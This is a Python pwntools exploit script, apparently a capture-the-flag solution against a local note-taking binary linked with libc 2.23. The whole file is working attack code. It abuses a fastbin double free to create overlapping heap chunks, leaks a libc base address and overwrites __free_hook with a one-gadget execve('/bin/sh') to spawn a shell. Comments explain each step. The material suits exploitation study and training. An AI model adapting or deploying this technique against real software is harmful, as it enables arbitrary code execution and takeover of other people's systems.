#!/usr/bin/env python

from pwn import *

def add_note(title, content_size, content):
    p.sendline('1')
    p.recvuntil('please input title: ')
    p.send(title)
    p.recvuntil('please input content size: ')
    p.sendline(str(content_size))
    p.recvuntil('please input content: ')
    p.send(content)

def view_note(title):
    p.sendline('2')
    p.recvuntil('please input note title: ')
    p.send(title)

def edit_note(title, content):
    p.sendline('3')
    p.recvuntil('please input note title: ')
    p.send(title)
    p.recvuntil('please input new content: ')
    p.send(content)

def delete_note(title):
    p.sendline('4')
    p.recvuntil('please input note title: ')
    p.send(title)

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    p.recvuntil('5. Exit\n')

    # allocates fastbin_1 and fastbin_2
    add_note('a' * 8, 24, 'a' * 24)

    # frees fastbin_1 and fastbin_2
    delete_note('a' * 8)

    # frees fastbin_1 and fastbin_2 again
    # this puts fastbin_1 and fastbin_2 address on the free list again
    # https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c
    delete_note('a' * 8)

    # allocates fastbin_3 and fastbin_4
    # we provide all zero title, so makes the fd pointer = 0
    add_note('\x00' * 8, 24, 'b' * 24)

    # allocates fastbin_5 and smallbin_1
    # this causes fastbin_5 overlaps with fastbin_3
    # both notes are pointing to the same location
    add_note('c' * 8, 256, 'c' * 256)

    # allocates fastbin_6 and fastbin_7
    # prevents smallbin_1 being consolidated into the top chunk
    add_note('d' * 8, 24, 'd' * 24)

    # frees fastbin_5
    # frees smallbin_1 and populate its fd and bk pointers with libc addresses
    delete_note('c' * 8)

    # print content of fastbin_3 since its content is the same as fastbin_5
    view_note('\x00' * 8)

    # leak libc address
    p.recvuntil('note content: ')
    libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78
    print 'libc base: {}'.format(hex(libc_base))

    # frees fastbin_6 and fastbin_7
    delete_note('d' * 8)

    # allocates fastbin_8 and smallbin_2
    # smallbin_1 and smallbin_2 overlap
    add_note('e' * 8, 256, 'e' * 256)

    # allocates fastbin_9 and fastbin_10
    # fastbin_10 and fastbin_5 overlap
    # basically, fastbin_5 is the content of this note
    # therefore, we can overwrite the content address with __free_hook
    add_note('f' * 8, 24, '\x00' * 8 + p64(24) + p64(libc_base + 0x3c67a8))

    # we then overwrite __free_hook with the address of onegadet's execve
    # 0x4526a execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #    [rsp+0x30] == NULL
    edit_note('\x00' * 7 + '\n', p64(libc_base + 0x4526a) + '\n')

    # trigger the __free_hook by freeing a note
    delete_note('\x00' * 8)

    p.interactive()

